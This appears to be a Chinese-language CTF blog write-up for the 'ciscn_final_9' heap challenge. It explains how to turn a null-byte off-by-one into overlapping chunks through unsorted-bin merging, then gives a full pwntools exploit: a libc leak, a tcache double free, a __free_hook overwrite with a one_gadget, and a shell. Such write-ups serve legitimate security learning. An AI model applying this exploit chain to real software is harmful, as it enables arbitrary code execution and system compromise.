ciscn_final_9(null off by one當無法shrink unsorted bin或者控制prev_size時的利用手法)

ciscn_final_9(null off by one當無法shrink unsorted bin或者控制prev_size時的利用手法)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,safe_read函數存在一個null off by one漏洞

Delete函數裏在free之前會清空堆的內容,

申請的堆大小是固定的,屬於unsorted bin範圍

從上面看,prev_size無法受我們控制,因爲堆的大小爲0x100,因此prev_size時0x100的整數倍,\x00會截斷輸入,即使我們先佈置\x01,然後delete後再佈置\x00也不行,因爲delete函數會清空原來的內容。綜上看,prev_size不能受我們控制,如果使用shrink unsorted bin size的話,也不行,因爲如果shrink unsorted bin的話,要想再次從這個unsorted bin裏成功切割內存,其shrink掉的那部分得僞造成一個chunk,但是delete功能會清空我們僞造的數據。並且由於大小都是0x100的整數倍,shrink不了,因此這兩種方法都不可行了。

 

那麼,我們可以利用堆塊的合併。

0x100

0x100

0x100

假設我們連續合併這3個chunk,合併是有順序的,先合併0、1,這將使得2的prev_size變成0x200,然後合併2,2的prev_size 0x200仍然存在。接下來,我們從中把0切割申請回來,2的prev_size仍然爲0x200,然後我們利用null off by one修改1的size低1字節,利用堆塊合併構造overlap chunk即可。

#coding:utf8
from pwn import *

#sh = process('./ciscn_final_9')
sh = remote('node3.buuoj.cn',27466)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']

def add(size,content):
   sh.sendlineafter('which command?','1')
   sh.sendlineafter('size',str(size))
   sh.sendlineafter('content',content)

def delete(index):
   sh.sendlineafter('which command?','2')
   sh.sendlineafter('index',str(index))

def show(index):
   sh.sendlineafter('which command?','3')
   sh.sendlineafter('index',str(index))


add(0xF0,'a'*0xF0) #0
add(0xF0,'b'*0xF0) #1
add(0xF0,'c'*0xF0) #2
#3~9
for i in range(7):
   add(0xF0,'d'*0xF0)

for i in range(3,10):
   delete(i)
#0放入unsorted bin
delete(0)
#1放入unsorted bin,此時0、1會合並,在2的prev_size處留下0x200
delete(1)
#2放入unsorted bin,與前面合併,但是prev_size不會清空
delete(2)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)

#由於prev_size不能任我們控制,因此,我們使用了這種方式控制9的prev_size爲0x200
add(0xF0,'a'*0xF0) #7
add(0xF0,'b'*0xF0) #8
add(0xF0,'c'*0xF0) #9
#到目前,9的prev_size爲0x200,接下來,我們利用null off by one構造overlap chunk

#填充tcache bin
for i in range(7):
   delete(i)
#7放入unsorted bin
delete(7)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)

delete(8)
add(0xF8,'null off by one') #7
#填充tcache bin
for i in range(7):
   delete(i)
#9放入unsorted bin,發生合併,形成overlap chunk
delete(9)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)
#將glibc指針移動到7
add(0xF0,'a') #8
show(7)
sh.recvuntil('> ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + 0x4f322
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
add(0xF0,'b') #9與7重合
delete(0)
delete(1)
#double free
delete(7)
delete(9)

add(0xF0,p64(free_hook_addr)) #0
add(0xF0,'a') #1
add(0xF0,p64(one_gadget_addr))

#getshell
delete(1)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章